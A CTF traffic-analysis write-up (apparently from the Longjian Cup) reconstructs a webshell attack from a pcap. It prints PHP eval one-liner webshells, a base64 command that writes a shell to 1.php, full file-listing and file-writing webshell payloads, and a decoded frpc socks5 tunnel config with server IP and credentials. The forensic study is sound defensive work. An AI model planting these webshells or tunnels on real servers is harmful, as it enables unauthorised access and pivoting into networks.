陇剑杯 流量分析 webshell CTF writeup

news2024/11/23 12:32:54

陇剑杯 流量分析

链接:https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwd=haek 
提取码:haek

目录结构
LearnCTF
├───LogAnalize
│   ├───linux简单日志分析
│   │       linux-log_2.zip
│   │
│   ├───misc日志分析
│   │       access.log
│   │
│   ├───misc简单日志分析
│   │       app.log
│   │
│   ├───sql注入分析
│   │       SQL.zip
│   │
│   └───windows日志分析
│           security-testlog_2.zip
│
└───TrafficAnalize
    ├───ios
    │       ios.zip
    │
    └───webshell
            hack.pcap

 本篇内容题目在 TrafficAnalize -> webshell 中

0x01webshell

webshell1

黑客攻击了我的网站,不过我记录了之前发生的流量,请帮忙分析流量回答webshell1-7

webshell1: 黑客登录系统使用的密码是_____________。

whireshark打开.pcap文件
查询语句

http.request.method == "POST"

登录业务的用户名和密码大多使用post方法传递

在这里插入图片描述
不难看出用户名和密码

webshell2

webshell-2: 黑客修改了一个日志文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

/var/www/html/data/Runtime/Logs/Home/21_08_07.log
看两个点

  1. 写马
  2. linux apache 的默认路径

No.306
写了一个马

Form item: "tpl" = "<?php eval($_REQUEST[a]);phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>"

No.315又写了个ma

Form item: "tpl" = "<?php eval($_REQUEST[aaa]);phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>"

从RCE看ifconfig, pwd来看能确定受害机为Linux

No.329

Form item: "aaa" = "system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d');"

一眼base64,看看是啥东西

<?php eval($_REQUEST[aaa]);?>

是个小马

No.332

Form item: "tpl" = "data/Runtime/Logs/Home/21_08_07.log"
Form item: "aaa" = "system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');"

在这里插入图片描述

熟悉linux命令操作就能看出黑客修改了文件,通过1.php将马写入.log文件,这个修改的log的路径是个相对的路径,题目需要提交绝对路径
linux中apache的默认路径是/var/www/html拼接相对路径data/Runtime/Logs/Home/21_08_07.log即可

webshell3

webshell-3: 黑客获取webshell之后,权限是______?

看看黑客是什么权限
黑客使用whoami查看自己的权限
在这里插入图片描述
flag为www-data

webshell4

webshell-4: 黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)
在这里插入图片描述
在这里插入图片描述

马在哪?1.php,黑客写向1.php写入马之后用webshell进行RCE当然要向1.php发送请求,因为1.php有马

webshell5

webshell-5: 黑客上传的代理工具客户端名字是_____________。(如有字母请全部使用小写)
No.332在1.php中写了马
No.347之后有一长段TCP加密数据包

所以No.332 到 No.346是考虑的重点
这一段数据包中有请求和响应

其中POST包中的aaa 键有代码
收集5段Php代码,看看写的是什么

1

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "bc"."0f2";
	echo @asenc($output);
	echo "f797e"."322e0";
}
ob_start();
try {
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";
	if(substr($D,0,1)!="/") {
		foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
	} else {
		$R.="/";
	}
	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

2

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "5a3"."dc6";
	echo @asenc($output);
	echo "12f"."968a";
}
ob_start();
try {
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";
	if(substr($D,0,1)!="/") {
		foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
	} else {
		$R.="/";
	}
	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

3

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "43d874"."d82ece";
	echo @asenc($output);
	echo "2cd"."697";
}
ob_start();
try {
	$D=base64_decode(substr($_POST["j68071301598f"],2));
	$F=@opendir($D);
	if($F==NULL) {
		echo("ERROR:// Path Not Found Or No Permission!");
	} else {
		$M=NULL;
		$L=NULL;
		while($N=@readdir($F)) {
			$P=$D.$N;
			$T=@date("Y-m-d H:i:s",@filemtime($P));
			@$E=substr(base_convert(@fileperms($P),10,8),-4);
			$R="	".$T."	".@filesize($P)."	".$E."
";
			if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;
		}
		echo $M.$L;
		@closedir($F);
	}
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

4

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "28"."f72";
	echo @asenc($output);
	echo "f486"."11f4";
}
ob_start();
try {
	$f=base64_decode(substr($_POST["j68071301598f"],2));
	$c=$_POST["xa5d606e67883a"];
	$c=str_replace("\r","",$c);
	$c=str_replace("\n","",$c);
	$buf="";
	for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
	echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

5

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "693"."d434";
	echo @asenc($output);
	echo "a3"."7cb";
}
ob_start();
try {
	$D=base64_decode(substr($_POST["j68071301598f"],2));
	$F=@opendir($D);
	if($F==NULL) {
		echo("ERROR:// Path Not Found Or No Permission!");
	} else {
		$M=NULL;
		$L=NULL;
		while($N=@readdir($F)) {
			$P=$D.$N;
			$T=@date("Y-m-d H:i:s",@filemtime($P));
			@$E=substr(base_convert(@fileperms($P),10,8),-4);
			$R="	".$T."	".@filesize($P)."	".$E."
";
			if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;
		}
		echo $M.$L;
		@closedir($F);
	}
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

代码中以POST方法接收了字段j68071301598f的值,对值的前两位去掉再base64解码

数据包中恰好有几个j68071301598f的值,用base64解码看看写的是什么

base64加密值有两个


hML3Zhci93d3cvaHRtbC8=

FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==

将原始值前两位去掉,解出

/var/www/html/frpc.ini

.ini文件是个配置文件。类似的,php中有.user.ini作为配置文件,利用.user.ini也是ctf中的考点
frpc看上去比较陌生,搜一下,是个内网穿透工具,它会不会是黑客上传的代理工具客户端呢?
是的,它就是代理工具客户端

比较奇怪的是No.346是加密TCP前的最后一个HTTP响应包
响应的html内容就有frpc.ini,如果对frpc比较熟悉应当能直接看出吧
在这里插入图片描述

找到的数据包的内容是(copy不完整)

Frame 343: 1681 bytes on wire (13448 bits), 1681 bytes captured (13448 bits)
Null/Loopback
Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197
Transmission Control Protocol, Src Port: 61922, Dst Port: 8081, Seq: 1, Ack: 1, Len: 1625
Hypertext Transfer Protocol
HTML Form URL Encoded: application/x-www-form-urlencoded
     [truncated]Form item: "aaa" = "@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_
        Key: aaa
        Value [truncated]: @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_start();try{$
    Form item: "j68071301598f" = "FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ=="
        Key: j68071301598f
        Value: FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==
     [truncated]Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D
        Key: xa5d606e67883a
        Value [truncated]: 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A

webshell6

webshell-6: 黑客代理工具的回连服务端IP是_______

上面得到了有关frpc.ini的数据包,在这个包中的一个POST参数(copy不完整)

 [truncated]Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D
    Key: xa5d606e67883a
    Value [truncated]: 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A

代码审计,发现代码中以POST接收了xa5d606e67883a的值

数据包中 xa5d606e67883a的值看起来是加密的,而且是变长加密,考虑加密方式是askii或hex(16进制)

变长加密还有URL编码和base64编码,观察它的特征,没有%不考虑URL编码,没有大写字母或等于号或最后以==结尾,不考虑base64编码

不考虑md5

不考虑unicode 因为没有/u或/x

在这里插入图片描述


5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A

解出

[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

一眼丁真

ip 是 192.168.239.123

webshell 7

webshell-7: 黑客的socks5的连接账号、密码是______。(中间使用#号隔开,例如admin#passwd):

上一题解出来了
一眼丁真
0HDFt16cLQJ#JTN276Gp

参考

https://www.cnblogs.com/GKLBB/p/15303391.html
分析黑客到底如何getshell,很牛

https://www.cnblogs.com/leo1017/p/17949472
包含流量分析和日志分析,很牛

https://www.cnblogs.com/summer14/p/17261624.html
陇剑杯wp相关,很牛

https://www.cnblogs.com/lcxblogs/p/15378172.html
陇剑杯wp相关,很牛

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1601081.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【蓝桥杯嵌入式】串口通信与RTC时钟

【蓝桥杯嵌入式】串口通信与RTC时钟 串口通信cubemx配置串口通信程序设计 RTC时钟cubemx配置程序设计 串口通信 cubemx配置 打开串口通信&#xff0c;并配置波特率为9600 打开串口中断 重定义串口接收与发送引脚&#xff0c;默认是PC4&#xff0c;PC5&#xff0c;需要改为P…

2024 CKA 基础操作教程(十四)

题目内容 设置配置环境&#xff1a; [candidatenode-1] $ kubectl config use-context mk8s Task 现有的 Kubernetes 集群正在运行版本 1.29.0。仅将 master 节点上的所有 Kubernetes 控制平面和节点组件升级到版本 1.29.1。 确保在升级之前 drain master 节点&#xff0c…

强强联手|AI赋能智能工业化,探索AI在工业领域的应用

随着人工智能&#xff08;AI&#xff09;技术的不断发展和应用&#xff0c;AI在各个领域展现出了巨大的潜力和价值。在工业领域&#xff0c;AI的应用也越来越受到关注。AI具备了丰富的功能和强大的性能&#xff0c;为工业领域的发展带来了巨大的机遇和挑战。 YesPMP是专业的互联…

IAM 统一身份认证与访问管理服务

即统一身份认证与访问管理服务&#xff0c;是云服务商提供的一套云上身份管理解决方案&#xff0c;可帮助企业安全地管理云上资源的访问权限。 在当今云计算时代&#xff0c;企业越来越依赖云服务来存储和处理敏感数据。然而&#xff0c;这也带来了新的安全挑战&#xff0c;即…

1 GBDT:梯度提升决策树

1 前言 前面简单梳理的基本的决策树算法&#xff0c;那么如何更好的使用这个基础算法模型去优化我们的结果是本节要探索的主要内容。 梯度提升决策树&#xff08;Gradient Boosting Decision Trees&#xff09;是一种集成学习方法&#xff0c;通常用于解决回归和分类问题。它通…

v-for中涉及的key

一、为什么要用key&#xff1f; key可以标识列表中每个元素的唯一性&#xff0c;方便Vue高效地更新虚拟DOM&#xff1b;key主要用于dom diff算法&#xff0c;diff算法是同级比较&#xff0c;比较当前标签上的key和标签名&#xff0c;如果都一样&#xff0c;就只移动元素&#…

【原创教程】海为PLC与RS-WS-ETH-6传感器的MUDBUS_TCP通讯

一、关于RS-WS-ETH-6传感器的准备工作 要完成MODBUS_TCP通讯,我们必须要知道设备的IP地址如何分配,只有PLC和设备的IP在同一网段上,才能建立通讯。然后还要选择TCP的工作模式,来建立设备端和PC端的端口号。接下来了解设备的报文格式,方便之后发送报文完成数据交互。 1、…

B端和C端产品有哪些区别,运营模式有很大区别!

做设计这么多年&#xff0c;经历了 C 端的设计&#xff0c;也实战了 B 端的设计&#xff0c;之前一直以为它们差不多&#xff0c;仔细研究过后&#xff0c;发现它们原来还是有很多不一样的&#xff0c;今天就细细的来聊下它们两者的差异和不同。 B 端&#xff1a;产品是企业识别…

UT单元测试

Tips&#xff1a;在使用时一定要注意版本适配性问题 一、Mockito 1.1 Mock的使用 Mock 的中文译为仿制的&#xff0c;模拟的&#xff0c;虚假的。对于测试框架来说&#xff0c;即构造出一个模拟/虚假的对象&#xff0c;使我们的测试能顺利进行下去。 Mock 测试就是在测试过程…

Java SpringBoot基于微信小程序的高速公路服务区充电桩在线预定系统,附源码

博主介绍&#xff1a;✌IT徐师兄、7年大厂程序员经历。全网粉丝15W、csdn博客专家、掘金/华为云//InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&#x1f3…

自定义类似微信效果Preference

1. 为自定义Preference 添加背景&#xff1a;custom_preference_background.xml <?xml version"1.0" encoding"utf-8"?> <selector xmlns:android"http://schemas.android.com/apk/res/android"><item><shape android:s…

Linux-时间同步服务器

1. (问答题) 一.配置server主机要求如下&#xff1a; 1.server主机的主机名称为 ntp_server.example.com 编写脚本文件 #!/bin/bash hostnamectl hostname ntp_server.example.com cd /etc/NetworkManager/system-connections/ rm -fr * cat > eth0.nmconnection <&…

JSON数据格式讲解与cJSON库的使用

文章目录 写在前面一、安装cJSON二、使用cJSON1、使用的文件2、如何传输数据&#xff1a;**** 三、JSON语法四、cJSON函数讲解1、cJSON结构体 **2、cJSON结构体与字符串之间的转换&#xff08;重要&#xff09;2.1、标题将cJSON结构体转换为字符串(常用)2.2、将字符串转为cJSON…

设计模式—门面模式

定义: 门面模式,也称为外观模式&#xff0c;是一种结构型设计模式。它的主要目的是提供统一的接口来访问子系统中的多个接口&#xff0c;从而简化客户端与复杂子系统之间的交互。 在门面模式中&#xff0c;一个门面类充当中介&#xff0c;为客户端提供一个简化了的访问方式&…

B203-若依框架应用

目录 简介版本RuoYi-fast项目准备新增模块/代码生成 简介 基于SpringBoot的权限管理系统&#xff0c;基于SpringBoot开发的轻量级Java快速开发框架 版本 前后端未分离单应用版本&#xff1a;RuoYi-fast&#xff0c;前后端未分离多模块版本&#xff1a;RuoYi 前后端分离单应用…

Adobe AE(After Effects)2020下载地址及安装教程

Adobe After Effects是一款专业级别的视觉效果和动态图形处理软件&#xff0c;由Adobe Systems开发。它被广泛用于电影、电视节目、广告和其他多媒体项目的制作。 After Effects提供了强大的合成和特效功能&#xff0c;可以让用户创建出令人惊艳的动态图形和视觉效果。用户可以…

逻辑回归模型-逻辑回归算法原理-逻辑回归代码与实现-笔记整合

通过一段时间的学习&#xff0c;总算把逻辑回归模型弄清楚了 《老饼讲解-机器学习》www.bbbdata.com中是讲得最清晰的&#xff0c;结合其它资料&#xff0c;整理一个完整的笔记如下&#xff0c;希望能帮助像我这样入门的新人&#xff0c;快速理解逻辑回归算法原理和逻辑回归实…

代码随想录训练营Day 24|Python|Leetcode|93.复原IP地址, 78.子集,90.子集II

93.复原IP地址 有效 IP 地址 正好由四个整数&#xff08;每个整数位于 0 到 255 之间组成&#xff0c;且不能含有前导 0&#xff09;&#xff0c;整数之间用 . 分隔。 例如&#xff1a;"0.1.2.201" 和 "192.168.1.1" 是 有效 IP 地址&#xff0c;但是 &q…

git clone遇到报错“SSL certificate problem: self signed certificate”

在git clone的时候发现遇到了一个问题&#xff1a; cristDESKTOP-JKRNKSH MINGW64 ~/Desktop $ git clone -b dev https://xxx.xxx.xxx.xxx:3001/crist/AVM_V9M.git Cloning into AVM_V9M... fatal: unable to access https://xxx.xxx.xxx.xxx3001/crist/AVM_V9M.git/: SSL ce…

openGauss学习笔记-264 openGauss性能调优-TPCC性能调优测试指导-BIOS配置

文章目录 openGauss学习笔记-264 openGauss性能调优-TPCC性能调优测试指导-BIOS配置264.1 恢复BIOS出厂设置264.2 修改相关BIOS设置264.3 重启操作系统 openGauss学习笔记-264 openGauss性能调优-TPCC性能调优测试指导-BIOS配置 本章节主要介绍openGauss数据库内核基于鲲鹏服务…